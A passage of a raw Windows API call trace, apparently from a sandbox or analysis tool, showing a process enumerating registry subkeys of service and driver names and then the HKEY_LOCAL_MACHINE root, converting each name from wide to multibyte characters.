lpWideCharStr="lltdsvc", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0177.134] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="lltdsvc", cchWideChar=7, lpMultiByteStr=0x21f1a90, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lltdsvc", lpUsedDefaultChar=0x0) returned 7 [0177.134] RegEnumKeyW (in: hKey=0x9c, dwIndex=0xa5, lpName=0x2152850, cchName=0x104 | out: lpName="lmhosts") returned 0x0 [0177.134] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="lmhosts", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0177.134] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="lmhosts", cchWideChar=7, lpMultiByteStr=0x21f1d18, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lmhosts", lpUsedDefaultChar=0x0) returned 7 [0177.135] RegEnumKeyW (in: hKey=0x9c, dwIndex=0xa6, lpName=0x2152850, cchName=0x104 | out: lpName="Lsa") returned 0x0 [0177.135] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="lsa", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0177.135] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="lsa", cchWideChar=3, lpMultiByteStr=0x21f1a90, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lsa", lpUsedDefaultChar=0x0) returned 3 [0177.135] RegEnumKeyW (in: hKey=0x9c, dwIndex=0xa7, lpName=0x2152850, cchName=0x104 | out: lpName="LSI_FC") returned 0x0 [0177.135] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="lsi_fc", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0177.135] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="lsi_fc", cchWideChar=6, lpMultiByteStr=0x21f1d18, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lsi_fc", lpUsedDefaultChar=0x0) returned 6 [0177.135] RegEnumKeyW (in: hKey=0x9c, dwIndex=0xa8, lpName=0x2152850, cchName=0x104 | out: lpName="LSI_SAS") returned 0x0 [0177.135] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="lsi_sas", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0177.135] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="lsi_sas", cchWideChar=7, lpMultiByteStr=0x21f1a90, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lsi_sas", lpUsedDefaultChar=0x0) returned 7 [0177.135] RegEnumKeyW (in: hKey=0x9c, dwIndex=0xa9, lpName=0x2152850, cchName=0x104 | out: lpName="LSI_SAS2") returned 0x0 [0177.135] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="lsi_sas2", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0177.135] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="lsi_sas2", cchWideChar=8, lpMultiByteStr=0x21f1d18, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lsi_sas2", lpUsedDefaultChar=0x0) returned 8 [0177.135] RegEnumKeyW (in: hKey=0x9c, dwIndex=0xaa, lpName=0x2152850, cchName=0x104 | out: lpName="LSI_SCSI") returned 0x0 [0177.135] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="lsi_scsi", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0177.135] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="lsi_scsi", cchWideChar=8, lpMultiByteStr=0x21f1a90, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lsi_scsi", lpUsedDefaultChar=0x0) returned 8 [0177.135] RegEnumKeyW (in: hKey=0x9c, dwIndex=0xab, lpName=0x2152850, cchName=0x104 | out: lpName="luafv") returned 0x0 [0177.135] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="luafv", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0177.135] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="luafv", cchWideChar=5, lpMultiByteStr=0x21f1d18, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="luafv", lpUsedDefaultChar=0x0) returned 5 [0177.135] RegEnumKeyW (in: hKey=0x9c, dwIndex=0xac, lpName=0x2152850, cchName=0x104 | out: lpName="Mcx2Svc") returned 0x0 [0177.136] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mcx2svc", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0177.136] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mcx2svc", cchWideChar=7, lpMultiByteStr=0x21f1a90, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mcx2svc", lpUsedDefaultChar=0x0) returned 7 [0177.136] RegEnumKeyW (in: hKey=0x9c, dwIndex=0xad, lpName=0x2152850, cchName=0x104 | out: lpName="megasas") returned 0x0 [0177.136] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="megasas", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0177.136] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="megasas", cchWideChar=7, lpMultiByteStr=0x21f1d18, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="megasas", lpUsedDefaultChar=0x0) returned 7 [0177.136] RegEnumKeyW (in: hKey=0x9c, dwIndex=0xae, lpName=0x2152850, cchName=0x104 | out: lpName="MegaSR") returned 0x0 [0177.136] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="megasr", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0177.136] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="megasr", cchWideChar=6, lpMultiByteStr=0x21f1a90, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="megasr", lpUsedDefaultChar=0x0) returned 6 [0177.136] RegEnumKeyW (in: hKey=0x9c, dwIndex=0xaf, lpName=0x2152850, cchName=0x104 | out: lpName="Microsoft SharePoint Workspace Audit Service") returned 0x0 [0177.136] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="microsoft sharepoint workspace audit service", cchWideChar=44, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 44 [0177.136] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="microsoft sharepoint workspace audit service", cchWideChar=44, lpMultiByteStr=0x21f1d18, cbMultiByte=44, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="microsoft sharepoint workspace audit service", lpUsedDefaultChar=0x0) returned 44 [0177.136] RegEnumKeyW (in: hKey=0x9c, dwIndex=0xb0, lpName=0x2152850, cchName=0x104 | out: lpName="MMCSS") returned 0x0 [0177.136] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mmcss", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0177.136] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mmcss", cchWideChar=5, lpMultiByteStr=0x21f1a90, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mmcss", lpUsedDefaultChar=0x0) returned 5 [0177.136] RegEnumKeyW (in: hKey=0x9c, dwIndex=0xb1, lpName=0x2152850, cchName=0x104 | out: lpName="Modem") returned 0x0 [0177.136] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="modem", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0177.136] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="modem", cchWideChar=5, lpMultiByteStr=0x21f1d18, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="modem", lpUsedDefaultChar=0x0) returned 5 [0177.136] RegEnumKeyW (in: hKey=0x9c, dwIndex=0xb2, lpName=0x2152850, cchName=0x104 | out: lpName="monitor") returned 0x0 [0177.136] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="monitor", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0177.137] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="monitor", cchWideChar=7, lpMultiByteStr=0x21f1a90, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="monitor", lpUsedDefaultChar=0x0) returned 7 [0177.137] RegEnumKeyW (in: hKey=0x9c, dwIndex=0xb3, lpName=0x2152850, cchName=0x104 | out: lpName="mouclass") returned 0x0 [0177.137] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mouclass", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0177.137] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mouclass", cchWideChar=8, lpMultiByteStr=0x21f1d18, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mouclass", lpUsedDefaultChar=0x0) returned 8 [0177.137] RegEnumKeyW (in: hKey=0x9c, dwIndex=0xb4, lpName=0x2152850, cchName=0x104 | out: lpName="mouhid") returned 0x0 [0177.137] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mouhid", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0177.137] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mouhid", cchWideChar=6, lpMultiByteStr=0x21f1a90, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mouhid", lpUsedDefaultChar=0x0) returned 6 [0177.137] RegEnumKeyW (in: hKey=0x9c, dwIndex=0xb5, lpName=0x2152850, cchName=0x104 | out: lpName="mountmgr") returned 0x0 [0177.137] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mountmgr", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0177.137] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mountmgr", cchWideChar=8, lpMultiByteStr=0x21f1d18, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mountmgr", lpUsedDefaultChar=0x0) returned 8 [0177.137] RegEnumKeyW (in: hKey=0x9c, dwIndex=0xb6, lpName=0x2152850, cchName=0x104 | out: lpName="MozillaMaintenance") returned 0x0 [0177.137] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mozillamaintenance", cchWideChar=18, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0177.137] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mozillamaintenance", cchWideChar=18, lpMultiByteStr=0x21f1a90, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mozillamaintenance", lpUsedDefaultChar=0x0) returned 18 [0177.137] RegEnumKeyW (in: hKey=0x9c, dwIndex=0xb7, lpName=0x2152850, cchName=0x104 | out: lpName="mpio") returned 0x0 [0177.137] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mpio", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0177.137] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mpio", cchWideChar=4, lpMultiByteStr=0x21f1d18, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mpio", lpUsedDefaultChar=0x0) returned 4 [0177.137] RegEnumKeyW (in: hKey=0x9c, dwIndex=0xb8, lpName=0x2152850, cchName=0x104 | out: lpName="mpsdrv") returned 0x0 [0177.137] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mpsdrv", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0177.137] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mpsdrv", cchWideChar=6, lpMultiByteStr=0x21f1a90, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mpsdrv", lpUsedDefaultChar=0x0) returned 6 [0177.138] RegEnumKeyW (in: hKey=0x9c, dwIndex=0xb9, lpName=0x2152850, cchName=0x104 | out: lpName="MpsSvc") returned 0x0 [0177.138] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mpssvc", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0177.138] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mpssvc", cchWideChar=6, lpMultiByteStr=0x21f1d18, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mpssvc", lpUsedDefaultChar=0x0) returned 6 [0177.138] RegEnumKeyW (in: hKey=0x9c, dwIndex=0xba, lpName=0x2152850, cchName=0x104 | out: lpName="MRxDAV") returned 0x0 [0177.138] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mrxdav", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0177.138] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mrxdav", cchWideChar=6, lpMultiByteStr=0x21f1a90, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mrxdav", lpUsedDefaultChar=0x0) returned 6 [0177.138] RegEnumKeyW (in: hKey=0x9c, dwIndex=0xbb, lpName=0x2152850, cchName=0x104 | out: lpName="mrxsmb") returned 0x0 [0177.138] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mrxsmb", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0177.138] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mrxsmb", cchWideChar=6, lpMultiByteStr=0x21f1d18, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mrxsmb", lpUsedDefaultChar=0x0) returned 6 [0177.138] RegEnumKeyW (in: hKey=0x9c, dwIndex=0xbc, lpName=0x2152850, cchName=0x104 | out: lpName="mrxsmb10") returned 0x0 [0177.138] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mrxsmb10", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0177.138] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mrxsmb10", cchWideChar=8, lpMultiByteStr=0x21f1a90, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mrxsmb10", lpUsedDefaultChar=0x0) returned 8 [0177.138] RegEnumKeyW (in: hKey=0x9c, dwIndex=0xbd, lpName=0x2152850, cchName=0x104 | out: lpName="mrxsmb20") returned 0x0 [0177.138] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mrxsmb20", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0177.138] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mrxsmb20", cchWideChar=8, lpMultiByteStr=0x21f1d18, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mrxsmb20", lpUsedDefaultChar=0x0) returned 8 [0177.138] RegEnumKeyW (in: hKey=0x9c, dwIndex=0xbe, lpName=0x2152850, cchName=0x104 | out: lpName="msahci") returned 0x0 [0177.138] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msahci", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0177.138] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msahci", cchWideChar=6, lpMultiByteStr=0x21f1a90, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="msahci", lpUsedDefaultChar=0x0) returned 6 [0177.138] RegEnumKeyW (in: hKey=0x9c, dwIndex=0xbf, lpName=0x2152850, cchName=0x104 | out: lpName="msdsm") returned 0x0 [0177.139] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msdsm", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0177.139] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msdsm", cchWideChar=5, lpMultiByteStr=0x21f1d18, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="msdsm", lpUsedDefaultChar=0x0) returned 5 [0177.139] RegEnumKeyW (in: hKey=0x9c, dwIndex=0xc0, lpName=0x2152850, cchName=0x104 | out: lpName="MSDTC") returned 0x0 [0177.139] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msdtc", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0177.139] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msdtc", cchWideChar=5, lpMultiByteStr=0x21f1a90, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="msdtc", lpUsedDefaultChar=0x0) returned 5 [0177.139] RegEnumKeyW (in: hKey=0x9c, dwIndex=0xc1, lpName=0x2152850, cchName=0x104 | out: lpName="MSDTC Bridge 3.0.0.0") returned 0x0 [0177.139] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msdtc bridge 3.0.0.0", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0177.139] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msdtc bridge 3.0.0.0", cchWideChar=20, lpMultiByteStr=0x21f1d18, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="msdtc bridge 3.0.0.0", lpUsedDefaultChar=0x0) returned 20 [0177.139] RegEnumKeyW (in: hKey=0x9c, dwIndex=0xc2, lpName=0x2152850, cchName=0x104 | out: lpName="MSDTC Bridge 4.0.0.0") returned 0x0 [0177.139] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msdtc bridge 4.0.0.0", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0177.139] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msdtc bridge 4.0.0.0", cchWideChar=20, lpMultiByteStr=0x21f1a90, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="msdtc bridge 4.0.0.0", lpUsedDefaultChar=0x0) returned 20 [0177.139] RegEnumKeyW (in: hKey=0x9c, dwIndex=0xc3, lpName=0x2152850, cchName=0x104 | out: lpName="Msfs") returned 0x0 [0177.139] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msfs", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0177.139] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msfs", cchWideChar=4, lpMultiByteStr=0x21f1d18, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="msfs", lpUsedDefaultChar=0x0) returned 4 [0177.139] RegEnumKeyW (in: hKey=0x9c, dwIndex=0xc4, lpName=0x2152850, cchName=0x104 | out: lpName="mshidkmdf") returned 0x0 [0177.139] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mshidkmdf", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0177.139] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mshidkmdf", cchWideChar=9, lpMultiByteStr=0x21f1a90, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mshidkmdf", lpUsedDefaultChar=0x0) returned 9 [0177.139] RegEnumKeyW (in: hKey=0x9c, dwIndex=0xc5, lpName=0x2152850, cchName=0x104 | out: lpName="msisadrv") returned 0x0 [0177.139] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msisadrv", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0177.139] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msisadrv", cchWideChar=8, lpMultiByteStr=0x21f1d18, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="msisadrv", lpUsedDefaultChar=0x0) returned 8 [0177.140] RegEnumKeyW (in: hKey=0x9c, dwIndex=0xc6, lpName=0x2152850, cchName=0x104 | out: lpName="MSiSCSI") returned 0x0 [0177.140] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msiscsi", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0177.140] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msiscsi", cchWideChar=7, lpMultiByteStr=0x21f1a90, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="msiscsi", lpUsedDefaultChar=0x0) returned 7 [0177.140] RegEnumKeyW (in: hKey=0x9c, dwIndex=0xc7, lpName=0x2152850, cchName=0x104 | out: lpName="msiserver") returned 0x0 [0177.140] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msiserver", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0177.140] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msiserver", cchWideChar=9, lpMultiByteStr=0x21f1d18, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="msiserver", lpUsedDefaultChar=0x0) returned 9 [0177.140] RegOpenKeyExW (in: hKey=0x9c, lpSubKey="msiserver", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x14c) returned 0x0 [0177.140] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x2152850) returned 1 [0177.140] RegCloseKey (hKey=0x9c) returned 0x0 [0177.140] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0177.140] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x280) returned 0x2152850 [0177.140] SHRegDuplicateHKey (hkey=0x80000002) returned 0x80000002 [0177.140] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="BCD00000000") returned 0x0 [0177.140] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2fc0 [0177.140] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bcd00000000", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0177.140] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0177.140] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bcd00000000", cchWideChar=11, lpMultiByteStr=0x21f1a90, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bcd00000000", lpUsedDefaultChar=0x0) returned 11 [0177.140] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0177.140] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0177.140] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0177.140] RtlFreeHeap 